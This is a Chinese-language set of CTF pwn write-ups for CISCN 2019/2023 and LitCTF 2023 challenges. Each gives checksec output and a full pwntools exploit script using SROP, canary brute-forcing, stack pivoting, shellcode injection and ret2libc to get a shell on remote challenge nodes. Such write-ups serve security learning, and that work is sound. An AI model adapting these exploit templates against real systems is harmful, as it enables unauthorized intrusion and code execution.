[CISCN 2019华南]PWN3
$ checksec pwn3
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/xunan/桌面/Pwn/pwn3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}
仅开启栈不可执行保护,一次read,一次write,可泄露栈地址
又发现gadgets: .text:00000000004004DA mov rax, 0Fh
64位系统,很显然是SROP。
由于第一次写SROP稍微介绍下原理,SROP就是利用系统中断到恢复时会在用户空间中保存和恢复上下文,并且由于内核和信号处理程序是相互分离的,为进程恢复时不会检查该 Signal Frame 是否属于该进程,也就是说可以伪造。
利用时需要控制 rax 寄存器,并且执行 syscall ,同时还要有足够大小的已知位置可以用来存放伪造的 sigcontext 。
上文中我们已知可控制 rax 寄存器的 gadgets ,并且有函数可以泄露栈地址,所以我们还需要再用 ROPgadget 搜索 syscall 和 ret 。ret 是为了保证栈对齐的(可能用不到,但要有)。
$ ROPgadget --binary pwn3 --only "syscall|ret"
Gadgets information
============================================================
0x00000000004003a9 : ret
0x0000000000400501 : syscall
Unique gadgets found: 2
值得一提的是,pwntools中集成了SROP,最后看一下exp:
from pwn import *
from LibcSearcher import LibcSearcher
# context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
sh = process('./pwn3')
def debug(p):
gdb.attach(p,"b *0x400503")
def end(p):
p.interactive()
vuln_addr = 0x4004F1
syscall_ret = 0x400517
rax_0xf_ret = 0x4004da
ret_addr = 0x4003a9
# get binsh_addr
payload = b'/bin/sh\x00'.ljust(0x10,b'a') + p64(vuln_addr)
sh.sendline(payload)
stack_addr = u64(sh.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.info("binsh_addr-->0x%x" %stack_addr)
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = stack_addr - 0x128
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret
payload = b'a'*0x10 + p64(rax_0xf_ret) + p64(syscall_ret) + flat(sigframe)
sh.sendline(payload)
sh.interactive()
值得一提的是,本题中padding仅覆盖到了栈结束的位置,没有如往常一样覆盖 bp 寄存器。这里讲解一下,这是由于调用write函数的方式不同造成的,看下列汇编代码
.text:0000000000400517 syscall ; LINUX - sys_write
.text:0000000000400519 retn
.text:0000000000400519 vuln endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519 ; ---------------------------------------------------------------------------
.text:000000000040051A db 90h
.text:000000000040051B ; ---------------------------------------------------------------------------
.text:000000000040051B pop rbp
.text:000000000040051C retn
.text:000000000040051C ; } // starts at 4004ED
可以看到,0x400519处显示 sp指针定位错误,这是由于IDA在反汇编时将retn当做函数返回导致的,实际的函数返回在0x40051c处。第一处的retn其实是通过retn进行函数调用,我们的溢出点就在这里,所以我们才可以在挟持程序流的同时泄露栈位置。
另外就是伪造的 sigcontext 的rdi指针,那个 栈地址到binsh字符串的偏移是要自己算的。
大体上就是这些了,本来还想着就 retn 处直接挟持程序流写一篇博客来着,现在看来可能也不是那么需要。(千万不要迷醉于流量陷阱!)
[CISCN 2023 初赛]funcanary
签到题,但是很搞笑,用frok不断创建新进程,所以一直都在执行所以这道题要爆破出canary和 backdoor 位置。
$ checksec service
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/xunan/桌面/Pwn/service'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
from pwn import *
#p = process('./service')
p=remote('node5.anna.nssctf.cn',28406)
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
for i in range(256):
p.send(b'a'*0x68 + canary + p8(i))
a = p.recvuntil("welcome\n")
if b"fun" in a:
canary += p8(i)
print(b"canary: " + canary)
break
while(1):
catflag = 0x0231
for i in range(16):
payload = b'A' * 0x68 + canary + b'A' * 8 + p16(catflag)
p.send(payload)
#pause()s
a = p.recvuntil("welcome\n",timeout=1)
print(a)
if b"welcome" in a:
catflag += 0x1000
continue
if b"NSSCTF" in a:
print(a)
break
p.interactive()
[CISCN 2019华南]PWN4
32位的栈迁移,很标准,所以还是签到题
$ checksec pwn4
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/xunan/桌面/Pwn/pwn4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
from pwn import *
from LibcSearcher import LibcSearcher
# context(os='linux',arch='i386',log_level='debug')
sh = process('./pwn4')
sh = remote("node5.anna.nssctf.cn",29000)
def end(p):
p.interactive()
# get buf_addr
sh.send(b'a'*0x28)
sh.recvuntil(b'a'*0x28)
buf_addr = u32(sh.recv(4))-0x38
log.info("buf_addr ==> 0x%x" %buf_addr)
# get shell
leave_ret = 0x08048562
ret_addr = 0x080483a6
call_system = 0x08048559
payload = b'a'*0x4 + p32(call_system) + p32(buf_addr+0x10) + b'a'*0x4 + b'/bin/sh\0'
payload = payload.ljust(0x28,b'a') + p32(buf_addr) + p32(leave_ret)
sh.send(payload)
end(sh)
[CISCN 2019华北]PWN5
我你这他…纯签到
$ checksec pwn5
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/xunan/桌面/Pwn/pwn5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
from pwn import *
from LibcSearcher import LibcSearcher
# context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
sh = process('./pwn5')
sh = remote('node4.anna.nssctf.cn',28407)
shellcode=asm(shellcraft.amd64.sh())
sh.sendafter(b'tell me your name',shellcode)
payload = b'a'*0x28 + p64(0x601080)
sh.sendlineafter(b'What do you want to say to me?',payload)
sh.interactive()
ps: 怎么这么多签到?
$ checksec pwn6
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/xunan/桌面/Pwn/pwn6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
libc 板子题,就是我发现我的elf.plt[‘’]用不了,不知道为什么
[LitCTF 2023]狠狠的溢出涅~
找一道libc题凑个数,呜呜每周五道写不完
from pwn import *
from LibcSearcher import LibcSearcher
context(os='linux',arch='amd64',log_level='debug')
sh = process('./pwn6')
def debug(p):
gdb.attach(p)
def libc(sym):
# get libc
puts_plt = 0x400570
puts_got = 0x601018
rdi_ret = 0x4007d3
ret_addr = 0x400556
main_addr = 0x4006B0
padding = b'\x00'*0x68
payload = flat([padding,rdi_ret,puts_got,puts_plt,main_addr])
sh.sendlineafter(b'message:\n',payload)
# get system&binsh
addr = u64(sh.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
libc = LibcSearcher(sym, addr)
libc_base = addr - libc.dump(sym)
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
log.info(sym+"addr-->0x%x" %addr)
log.info("system_addr-->0x%x" %system_addr)
log.info("binsh_addr-->0x%x" %binsh_addr)
return (system_addr,binsh_addr)
def end(p):
p.interactive()
rdi_ret = 0x4007d3
ret_addr = 0x400556
(system_addr,binsh_addr)=libc('puts')
payload = flat([b'\x00'*0x68,ret_addr,rdi_ret,binsh_addr,system_addr])
sh.sendlineafter(b'message:\n',payload)
sh.interactive()
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# p = process(['./pwn4'])
p = remote('node4.anna.nssctf.cn', 28223)
elf = ELF('./pwn4')
libc = ELF('./libc-2.31.so')
rop = ROP('./pwn4')
print(hex(rop.rdi.address))
payload = flat(
[b'\x00', cyclic(0x60 + 0x08 - 0x01), rop.rdi.address, elf.got['puts'], elf.plt['puts'], elf.sym['main']])
p.sendlineafter(b'Leave your message:\n', payload)
p.recvuntil(b'Ok,Message Received\n')
puts_addr = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
str_bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = flat([b'\x00', cyclic(0x60 + 0x08 - 0x01), rop.ret.address, rop.rdi.address, str_bin_sh, system_addr, 0])
p.sendlineafter(b'Leave your message:\n', payload)
p.interactive()